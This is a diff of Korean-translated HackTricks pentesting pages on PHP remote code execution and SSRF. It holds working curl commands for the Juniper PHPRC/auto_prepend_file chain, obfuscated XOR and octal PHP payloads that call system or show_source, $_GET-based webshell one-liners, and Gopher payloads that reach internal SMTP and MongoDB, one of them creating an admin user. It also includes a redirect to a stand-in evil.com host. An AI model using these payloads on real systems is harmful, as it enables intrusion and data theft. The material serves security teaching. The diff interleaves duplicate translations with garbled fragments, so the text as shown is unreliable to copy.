1. 쉘코드가 포함된 PHP 파일을 업로드합니다.
|
||||
2. PHP 전처리기가 단계 1에서 업로드한 파일을 실행하도록 지시하는 **`auto_prepend_file`** 지시문이 포함된 두 번째 파일을 업로드합니다.
|
||||
3. `PHPRC` 변수를 단계 2에서 업로드한 파일로 설정합니다.
|
||||
- 이 체인을 실행하는 방법에 대한 자세한 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인할 수 있습니다.
|
||||
- **PHPRC** - 다른 옵션
|
||||
- 파일을 업로드할 수 없는 경우 FreeBSD에서 "file" `/dev/fd/0`를 사용할 수 있습니다. 이 파일은 요청의 **본문**인 **`stdin`**을 포함합니다:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
- 또는 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 선행시켜 RCE를 얻을 수 있습니다:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
- 이 기술은 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서 확인할 수 있습니다.
|
||||
2. PHP 전처리기에 업로드한 파일을 실행하도록 지시하는 **`auto_prepend_file`** 지시문이 포함된 두 번째 파일을 업로드합니다.
|
||||
3. `PHPRC` 변수를 2단계에서 업로드한 파일로 설정합니다.
|
||||
* 이 체인을 실행하는 방법에 대한 자세한 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인할 수 있습니다.
|
||||
* **PHPRC** - 다른 옵션
|
||||
* 파일을 업로드할 수 없는 경우 FreeBSD에서 "file" `/dev/fd/0`를 사용할 수 있습니다. 이 파일은 `stdin`인 **요청의 본문**을 포함합니다:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* 또는 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 먼저 추가하여 RCE를 얻을 수 있습니다:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
* 이 기술은 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서 확인할 수 있습니다.
|
||||
|
||||
## PHP 정적 분석
|
||||
|
||||
|
@ -302,7 +310,7 @@ $_COOKIE | if #This mea
|
|||
|
||||
PHP 래퍼 및 프로토콜을 사용하면 시스템에서 **쓰기 및 읽기 보호를 우회**하고 침해할 수 있습니다. [**자세한 정보는 이 페이지를 확인하십시오**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## Xdebug 미인증 RCE
|
||||
## Xdebug 인증되지 않은 RCE
|
||||
|
||||
`phpconfig()` 출력에서 **Xdebug**가 **활성화**되어 있는 것을 확인하면 [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)을 통해 RCE를 시도해야 합니다.
|
||||
|
||||
|
@ -320,7 +328,7 @@ echo "$x ${Da}"; //Da Drums
|
|||
```
|
||||
## 새로운 $\_GET\["a"]\($\_GET\["b"])를 남용한 RCE
|
||||
|
||||
페이지에서 **임의의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있습니다. 다음 페이지를 확인하여 자세한 내용을 알아보세요:
|
||||
페이지에서 **임의의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있습니다. 다음 페이지를 확인하여 자세히 알아보세요:
|
||||
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
|
@ -336,23 +344,23 @@ $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #syst
|
|||
```
|
||||
### **XOR**
|
||||
|
||||
XOR는 두 개의 비트가 서로 다를 때 1을 반환하는 논리 연산자입니다.
|
||||
XOR은 두 개의 입력 중 하나만이 참일 때 결과가 참이 되는 논리 연산자입니다.
|
||||
```php
|
||||
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
||||
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
||||
$___=$__; #Could be not needed inside eval
|
||||
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### XOR 쉘 코드
|
||||
### XOR 쉘 코드 간단한 방법
|
||||
|
||||
[**이 writeup**](https://mgp25.com/ctf/Web-challenge/)에 따르면 다음과 같이 쉽게 쉘 코드를 생성할 수 있다고 합니다:
|
||||
[**이 writeup**](https://mgp25.com/ctf/Web-challenge/)에 따르면 다음과 같이 간단한 쉘 코드를 생성할 수 있다고 합니다:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
그래서, **숫자와 문자 없이 임의의 PHP를 실행**할 수 있다면 다음과 같은 요청을 보내어 임의의 PHP를 실행할 수 있는 페이로드를 악용할 수 있습니다:
|
||||
그래서, **숫자와 문자 없이 임의의 PHP를 실행**할 수 있다면 다음과 같은 요청을 보내어 임의의 PHP를 실행할 수 있습니다:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -381,7 +389,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
|
|||
```php
|
||||
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
|
||||
```
|
||||
### Perl과 유사
|
||||
### Perl 같이
|
||||
```php
|
||||
<?php
|
||||
$_=[];
|
||||
|
@ -425,14 +433,14 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>영웨이 에스더블유에스 해킹을 제로부터 히어로로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)에서 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/network-services-pentesting/pentesting-web/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,19 +24,30 @@
|
|||
|
||||
### SSRF PHP 함수
|
||||
|
||||
일부 함수인 \*\*file\_get\_contents(), fopen(), file(), md5\_file()\*\*은 입력으로 URL을 허용하며, 사용자가 데이터를 제어할 수 있다면 **가능한 SSRF 취약점**을 만들 수 있습니다:
|
||||
|
||||
**file\_get\_contents(), fopen(), file(), md5\_file()**와 같은 일부 함수는 URL을 입력으로 받아들이며, 사용자가 데이터를 제어할 수 있다면 **가능한 SSRF 취약점**을 발생시킬 수 있습니다:
|
||||
```php
|
||||
file_get_contents("http://127.0.0.1:8081");
|
||||
fopen("http://127.0.0.1:8081", "r");
|
||||
file("http://127.0.0.1:8081");
|
||||
md5_file("http://127.0.0.1:8081");
|
||||
```
|
||||
### 워드프레스 SSRF를 통한 DNS Rebinding
|
||||
|
||||
[**이 블로그 포스트에서 설명된 것**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf)과 같이 워드프레스 함수 **`wp_safe_remote_get`**도 DNS rebinding에 취약하여 SSRF 공격에 취약할 수 있습니다. 호출하는 주요 유효성 검사는 **wp\_http\_validate\_ur**l이며, 이는 프로토콜이 `http://` 또는 `https://`이고 포트가 **80**, **443**, **8080** 중 하나인지 확인하지만 **DNS rebinding에 취약**합니다.
|
||||
|
||||
포스트에 따르면 다른 취약한 함수는 다음과 같습니다:
|
||||
|
||||
* `wp_safe_remote_request()`
|
||||
* `wp_safe_remote_post()`
|
||||
* `wp_safe_remote_head()`
|
||||
* `WP_REST_URL_Details_Controller::get_remote_url()`
|
||||
* `download_url()`
|
||||
* `wp_remote_fopen()`
|
||||
* `WP_oEmbed::discover()`
|
||||
|
||||
### CRLF
|
||||
|
||||
또한, 이전 함수들의 CRLF "취약점"을 통해 임의의 헤더를 전송하는 것이 가능할 수도 있습니다:
|
||||
|
||||
게다가, 이전 함수들의 CRLF "취약점"을 통해 임의의 헤더를 전송할 수도 있습니다.
|
||||
```php
|
||||
# The following will create a header called from with value Hi and
|
||||
# an extra header "Injected: I HAVE IT"
|
||||
|
@ -51,13 +62,11 @@ Connection: close
|
|||
|
||||
# Any of the previously mentioned functions will send those headers
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
해당 CRLF 취약점에 대한 자세한 정보는 다음 버그를 확인하십시오 [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
|
||||
더 많은 정보를 원하시면 CRLF 취약점에 대해 이 버그를 확인하세요 [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
|
||||
{% endhint %}
|
||||
|
||||
이 함수들은 요청에서 임의의 헤더를 설정하는 다른 방법을 가질 수 있습니다.
|
||||
|
||||
```php
|
||||
$url = "";
|
||||
|
||||
|
@ -73,23 +82,22 @@ $options = array(
|
|||
$context = stream_context_create($options);
|
||||
$file = file_get_contents($url, false, $context);
|
||||
```
|
||||
**트라이 하드 보안 그룹**
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/network-services-pentesting/pentesting-web/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 히어로까지 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되기를 원하거나 HackTricks를 PDF로 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* 해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,34 +1,34 @@
|
|||
# SSRF (서버 측 요청 위조)
|
||||
# SSRF (Server Side Request Forgery)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>와 함께!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks를 광고하길 원하거나** **PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 **PR을 제출**하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**서버 측 요청 위조 (SSRF)** 취약점은 공격자가 **서버 측 응용 프로그램**을 조작하여 **원하는 도메인으로 HTTP 요청을 보내도록** 하는 경우 발생합니다. 이 취약점은 공격자가 지시하는 임의의 외부 요청을 서버에 노출시킵니다.
|
||||
**서버 측 요청 위조 (SSRF)** 취약점은 공격자가 **서버 측 응용 프로그램**을 조작하여 공격자가 선택한 도메인으로 **HTTP 요청**을 수행하도록 하는 경우 발생합니다. 이 취약점은 공격자가 지시한 임의의 외부 요청을 서버에 노출시킵니다.
|
||||
|
||||
## SSRF 캡처
|
||||
|
||||
할 일은 **당신이 생성한 SSRF 상호 작용을 캡처**하는 것입니다. HTTP 또는 DNS 상호 작용을 캡처하려면 다음과 같은 도구를 사용할 수 있습니다:
|
||||
먼저 수행한 SSRF 상호 작용을 캡처해야 합니다. HTTP 또는 DNS 상호 작용을 캡처하려면 다음과 같은 도구를 사용할 수 있습니다:
|
||||
|
||||
* **Burp Collaborator**
|
||||
* [**pingb**](http://pingb.in)
|
||||
|
@ -42,7 +42,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## 화이트리스트된 도메인 우회
|
||||
|
||||
보통 SSRF가 **특정 화이트리스트된 도메인**이나 URL에서만 작동하는 것을 발견할 것입니다. 다음 페이지에서는 그 화이트리스트를 우회하기 위한 **기술 모음**을 제공합니다:
|
||||
보통 SSRF가 **특정 화이트리스트된 도메인**이나 URL에서만 작동하는 것을 발견할 것입니다. 다음 페이지에서는 해당 화이트리스트를 우회하기 위한 **기술 모음**을 제공합니다:
|
||||
|
||||
{% content-ref url="url-format-bypass.md" %}
|
||||
[url-format-bypass.md](url-format-bypass.md)
|
||||
|
@ -50,7 +50,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### 오픈 리디렉트를 통한 우회
|
||||
|
||||
서버가 올바르게 보호되어 있다면 웹 페이지 내부의 **오픈 리디렉트를 악용하여 모든 제한을 우회**할 수 있습니다. 웹 페이지는 **동일한 도메인으로의 SSRF를 허용**하고 아마도 **리디렉트를 따를 것**이므로 **내부 리소스에 액세스하도록 서버를 만들기 위해 오픈 리디렉트를 악용**할 수 있습니다.\
|
||||
서버가 올바르게 보호되어 있다면 웹 페이지 내부의 **오픈 리디렉트를 이용하여 모든 제한을 우회**할 수 있습니다. 웹 페이지는 **동일한 도메인으로의 SSRF를 허용**하고 아마도 **리디렉트를 따를 것**이므로 **내부 리소스에 액세스하도록 서버를 만들기 위해 오픈 리디렉트를 악용**할 수 있습니다.\
|
||||
자세한 내용은 여기를 참조하세요: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||||
|
||||
## 프로토콜
|
||||
|
@ -58,15 +58,15 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **file://**
|
||||
* URL scheme `file://`은 `/etc/passwd`를 직접 가리킵니다: `file:///etc/passwd`
|
||||
* **dict://**
|
||||
* DICT URL scheme은 DICT 프로토콜을 통해 정의 또는 단어 목록에 액세스하는 데 사용된다고 설명됩니다. 특정 단어, 데이터베이스 및 항목 번호를 대상으로 하는 구성된 URL 및 PHP 스크립트의 잘못된 사용 사례가 제시되었습니다: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
* DICT URL scheme은 DICT 프로토콜을 통해 정의 또는 단어 목록에 액세스하는 데 사용된다. 특정 단어, 데이터베이스 및 항목 번호를 대상으로 하는 구성된 URL 및 PHP 스크립트가 공격자가 제공한 자격 증명을 사용하여 DICT 서버에 연결하는 데 잘못 사용될 수 있는 예가 제공됩니다: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
* **SFTP://**
|
||||
* 안전한 파일 전송을 위한 프로토콜로 식별되며, PHP 스크립트가 악의적인 SFTP 서버에 연결하는 방법을 보여주는 예제가 제공됩니다: `url=sftp://generic.com:11111/`
|
||||
* 안전한 파일 전송을 위한 프로토콜로 식별되며, PHP 스크립트가 악의적인 SFTP 서버에 연결하는 방법을 보여주는 예가 제공됩니다: `url=sftp://generic.com:11111/`
|
||||
* **TFTP://**
|
||||
* UDP 상에서 작동하는 Trivial File Transfer Protocol은 PHP 스크립트가 TFTP 서버로 요청을 보내도록 설계된 예제로 언급됩니다. 'generic.com'의 '12346' 포트로 'TESTUDPPACKET' 파일에 대한 TFTP 요청이 수행됩니다: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
* UDP 상에서 작동하는 Trivial File Transfer Protocol은 PHP 스크립트가 TFTP 서버에 요청을 보내도록 설계된 예제로 언급됩니다. 'generic.com'의 '12346' 포트로 'TESTUDPPACKET' 파일에 대한 TFTP 요청이 수행됩니다: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
* **LDAP://**
|
||||
* 이 세그먼트는 IP 네트워크 상에서 분산 디렉터리 정보 서비스를 관리하고 액세스하는 데 사용되는 경량 디렉터리 액세스 프로토콜을 다루며, 로컬호스트의 LDAP 서버와 상호 작용하는 방법을 강조합니다: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||
* 이 세그먼트는 IP 네트워크 상에서 분산 디렉터리 정보 서비스를 관리하고 액세스하는 데 사용되는 경량 디렉터리 액세스 프로토콜을 다룹니다. 로컬호스트의 LDAP 서버와 상호 작용: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||
* **SMTP**
|
||||
* SSRF 취약점을 악용하여 로컬호스트의 SMTP 서비스와 상호 작용하는 방법이 설명되어 있으며, 내부 도메인 이름을 공개하고 해당 정보를 기반으로 추가 조사 조치를 취하는 단계가 포함되어 있습니다.
|
||||
* SSRF 취약점을 악용하여 로컬호스트의 SMTP 서비스와 상호 작용하는 방법이 설명되며, 내부 도메인 이름을 공개하고 해당 정보를 기반으로 추가 조사 조치를 취하는 단계가 포함됩니다.
|
||||
```
|
||||
From https://twitter.com/har1sec/status/1182255952055164929
|
||||
1. connect with SSRF on smtp localhost:25
|
||||
|
@ -75,12 +75,12 @@ From https://twitter.com/har1sec/status/1182255952055164929
|
|||
4. connect
|
||||
```
|
||||
* **Curl URL globbing - WAF 우회**
|
||||
* 만약 SSRF가 **curl**에 의해 실행된다면, curl은 [**URL globbing**](https://everything.curl.dev/cmdline/globbing)이라는 기능을 가지고 있는데, 이는 WAF를 우회하는 데 유용할 수 있습니다. 예를 들어, 이 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)에서는 **`file` 프로토콜을 통한 경로 순회**의 예제를 찾을 수 있습니다.
|
||||
* 만약 SSRF가 **curl**에 의해 실행된다면, curl은 [**URL globbing**](https://everything.curl.dev/cmdline/globbing)이라는 기능을 가지고 있는데 이는 WAF를 우회하는 데 유용할 수 있습니다. 예를 들어, 이 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)에서 **`file` 프로토콜을 통한 경로 순회** 예제를 찾을 수 있습니다:
|
||||
```
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
* **Gopher://**
|
||||
* Gopher 프로토콜의 IP, 포트 및 바이트를 지정하여 서버 통신을 할 수 있는 능력에 대해 설명하고, Gopherus 및 remote-method-guesser와 같은 툴을 사용하여 페이로드를 작성하는 방법을 다룹니다. 두 가지 다른 사용 방법이 설명됩니다:
|
||||
* Gopher 프로토콜의 IP, 포트 및 바이트를 지정하여 서버 통신을 할 수 있는 능력에 대해 설명하며, Gopherus 및 원격 메서드 추측기와 같은 툴을 사용하여 페이로드를 작성하는 방법을 다룹니다. 두 가지 다른 용도가 설명됩니다:
|
||||
|
||||
### Gopher://
|
||||
|
||||
|
@ -108,7 +108,7 @@ QUIT
|
|||
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
|
||||
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
|
||||
```
|
||||
**Gopher SMTP — 1337에 백 커넥션 연결**
|
||||
**Gopher SMTP — 1337에 백 커넥트**
|
||||
|
||||
{% code title="redirect.php" %}
|
||||
```php
|
||||
|
@ -119,7 +119,7 @@ https://example.com/?q=http://evil.com/redirect.php.
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Gopher MongoDB -- 사용자를 만들어 username=admin, password=admin123 및 권한=관리자로 설정
|
||||
#### Gopher MongoDB -- 사용자를 username=admin, password=admin123 및 permission=administrator으로 생성
|
||||
```bash
|
||||
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
|
||||
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
||||
|
@ -130,11 +130,11 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
|||
```
|
||||
## Referrer 헤더 및 기타를 통한 SSRF
|
||||
|
||||
